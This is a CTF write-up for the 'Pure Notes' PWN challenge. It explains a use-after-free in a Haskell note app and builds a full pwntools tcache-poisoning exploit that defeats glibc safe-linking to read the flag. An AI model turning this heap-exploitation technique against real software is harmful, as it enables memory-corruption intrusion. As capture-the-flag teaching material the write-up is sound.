Pure Notes

1004 Words · 4 Minutes, 33 Seconds

Category: PWN

Difficulty: Medium-Hard

Author: Vincent

Challenge Description

My boss said that our current note taking solution isn’t productive and functional. So I made this purely functional note taking app.

We get the full Haskell source (Main.hs), a Dockerfile, and a flag.txt. The program is a classic heap-note menu — new, write, writehex, view, delete, list — but written in Haskell on top of the C FFI allocator.

Approach

Step 1 — Read the source

The notes are stored as a list of (name, CStringLen) where CStringLen = (Ptr CChar, Int), and every allocation goes through the C heap via mallocBytes:

new args notes = do
  ...
  b <- lift $ mallocBytes size
  return $ (name, (b, size)) : notes

Two things immediately stand out.

Bug #1 — use-after-free in delete: it frees the buffer but never removes the note from the list.

delete args notes = do
  name <- hoistMaybe $ args !? 0
  (b, _) <- hoistMaybe $ lookup name notes
  lift $ free b
  lift $ putStrLn $ "Deleted note " ++ name
  return notes          -- <-- note stays in the list, pointing at freed memory

So after delete A, we can still view A (read the freed chunk) and writehex A (write into it). That is a textbook UAF, and combined with new re-handing-out freed chunks it gives us tcache poisoning.

Bug #2 — the flag pointer is handed to us for free:

main = do
  ...
  flag <- readFile "flag.txt"
  withCAString flag $ \cstr -> do
        putStrLn "Welcome to my note taking program"
        print cstr           <-- prints the heap address of the flag string
        ...
        loop []

withCAString copies the flag into a freshly malloc’d C string and print cstr leaks its address. We don’t need an ASLR leak of our own — the target address is printed at startup.

The plan writes itself: poison a tcache bin so that new returns the flag’s address, then view it.

Step 2 — The environment: glibc 2.41 & safe-linking

The Dockerfile pins Debian 13 (trixie), which ships glibc 2.41. That means the tcache uses safe-linking: a freed chunk’s forward pointer is stored mangled,

stored_fd = (address_of_fd_field >> 12) ^ next_chunk

so to forge a fd that resolves to the flag we need the per-chunk mangling key chunk_addr >> 12. Since the fd of the first chunk freed into an empty bin is XORed against NULL, freeing a chunk on its own leaks exactly chunk_addr >> 12 through view.

Step 3 — Recovering leaked bytes through the UTF-8 wall

main sets hSetEncoding stdout utf8, and view does peekCAStringLen cstr >>= putStrLn. Each raw byte is read as a Char in 0x00–0xFF and then re-encoded as UTF-8, so any byte ≥ 0x80 comes out as a two-byte sequence. That mapping is fully invertible — decode the received bytes as UTF-8 and re-encode as Latin-1 and you get the original bytes back:

def unutf8(b):
    return b.decode('utf-8').encode('latin-1')

A view of a freed chunk like \xc2\x8dS\x00\x00... decodes back to [0x8d, 0x53, 0x00, ...]chunk_addr >> 12 = 0x538d.

Step 4 — Beating the tcache count guard

_int_malloc only serves from tcache while counts[tc_idx] > 0. A single freed+poisoned chunk lets us pop the target as the new head, but the count is then 0, so the next malloc won’t return it. We need two chunks in the bin and must poison the head (the one freed last) so that after the first pop the head becomes our target and the count is still 1.

The head’s fd is mangled against the previous head’s full address (unknown), so we first do a warm-up: free B alone into an empty bin, view it to learn ptrB >> 12, then re-allocate it.

Step 5 — Avoiding the e->key = NULL write

On glibc’s tcache pop, tcache_get_n writes e->key = NULL — eight zero bytes at target + 8. Pointing the poison straight at flag_addr would blank out bytes 8–15 of the flag. Aiming at flag_addr - 16 (still 16-byte aligned, so aligned_OK passes) makes that write land on the chunk header instead, leaving the flag pristine; we just read it back at a +16 offset.

Step 6 — Full exploit

#!/usr/bin/env python3
from pwn import *
import sys, re
context.log_level = 'warn'

def conn():
    if len(sys.argv) > 1 and sys.argv[1] == 'remote':
        return remote(sys.argv[2], int(sys.argv[3]), ssl=True)
    return remote('127.0.0.1', 1339)

def unutf8(b):
    return b.decode('utf-8').encode('latin-1')

io = conn()
start = io.recvuntil(b'> ')
flag_addr = int(re.search(rb'0x([0-9a-fA-F]+)', start).group(1), 16)

def cmd(c):
    io.sendline(c.encode()); return io.recvuntil(b'> ')

S = 96
cmd('new A %d' % S)
cmd('new B %d' % S)

# leak ptrB>>12 from a clean single-chunk
cmd('delete B')
raw = unutf8(cmd('view B').split(b'\nCommands:')[0])
mB = u64(raw[:8].ljust(8, b'\x00'))
cmd('new B %d' % S)

# poison the head (B)
cmd('delete A')
cmd('delete B')
TARGET = flag_addr - 16                  # key-null write hits header, not flag!
cmd('writehex B ' + enhex(p64(mB ^ TARGET)))

cmd('new C %d' % S)
cmd('new D %d' % S)

dec = unutf8(cmd('view D').split(b'\nCommands:')[0])
print(re.search(rb'brunner\{[^}]*\}', dec).group().decode())

Running it against the remote:

$ python3 solve.py remote pure-notes-840ed0352e29c9cb-danmark.challs.brunnerne.xyz 1337
b'P1\x90\x00...brunner{not_so_functional_is_it}\n...'

Flag

brunner{not_so_functional_is_it}

Reflections and Learnings


pwnuse-after-freetcache-poisoningsafe-linkingglibcpwntools

PWN